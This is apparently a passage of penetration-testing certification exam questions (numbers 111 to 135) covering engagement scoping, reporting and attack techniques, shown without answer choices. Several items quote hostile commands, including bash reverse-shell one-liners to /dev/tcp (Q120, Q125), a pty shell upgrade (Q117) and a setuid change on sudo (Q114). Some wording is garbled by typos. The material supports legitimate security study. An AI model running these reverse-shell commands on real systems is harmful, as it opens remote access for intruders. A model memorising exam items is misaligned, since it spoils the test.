QUESTION 111
Prior to a security assessment of a company’s user population via spear phishing, which of the following is the MOST appropriate method to de-escalate any incidents or consequences?

QUESTION 112
Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO)

QUESTION 113
A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?

QUESTION 114
The following command is run on a Linux file system:
Chmod 4111 /usr/bin/sudo
Which of the following issues may be exploited now?

QUESTION 115
A penetration tester is preparing to conduct API testing Which of the following would be MOST helpful in preparing for this engagement?

QUESTION 116
A recently concluded penetration test revealed that a legacy web application is vulnerable lo SQL injection Research indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not m a position to risk the availability of the application Under such circumstances, which of the following controls are low-effort, short-term solutions to minimize the SQL injection risk?
(Select TWO).

QUESTION 117
A penetration tester runs the following from a compromised box ‘python -c -import pty;Pty.sPawn(“/bin/bash”).’
Which of the following actions is the tester taking?

QUESTION 118
A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.)

QUESTION 119
A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an administrator should have access. Which of the following controls would BEST mitigate the vulnerability?

QUESTION 120
The following line was found in an exploited machine’s history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

QUESTION 121
A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings?

QUESTION 122
A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?

QUESTION 123
During a vulnerability assessment, the security consultant finds an XP legacy system that is running a critical business function. Which of the following mitigations is BEST for the consultant to conduct?

QUESTION 124
When communicating the findings of a network vulnerability scan to a client’s IT department which of the following metrics BEST prioritize the severity of the findings? (Select TWO)

QUESTION 125
A tester intends to run the following command on a target system:
bash -i >& /dev/tcp/10.2.4.6/443 0>&1
Which of the following additional commands would need to be executed on the tester’s Linux system .o make (he pre*ous command success?

QUESTION 126
Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented Each password may be used only once

QUESTION 127
A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin?

QUESTION 128
During an engagement an unsecure direct object reference vulnerability was discovered that allows the extraction of highly sensitive PII. The tester is required to extract and then exfil the information from a web application with identifiers 1 through 1000 inclusive. When running the following script, an error is encountered:

Which of the following lines of code is causing the problem?

QUESTION 129
Which of the following has a direct and significant impact on the budget of the security assessment?

QUESTION 130
Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads?

QUESTION 131
A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively confirmed to be a false positive by dragging the “false positive” token to the “Confirmed” column for each vulnerability that is a false positive.

QUESTION 132
A penetration testet is attempting to capture a handshake between a client and an access point by monitoring a WPA2-PSK secured wireless network The (ester is monitoring the correct channel tor the identified network but has been unsuccessful in capturing a handshake Given this scenario, which of the following attacks would BEST assist the tester in obtaining this handshake?

QUESTION 133
After performing a security assessment for a firm, the client was found to have been billed for the time the client’s test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

QUESTION 134
A penetration tester directly connects to an internal network. Which of the following exploits would work BEST for quick lateral movement within an internal network?

QUESTION 135
Black box penetration testing strategy provides the tester with: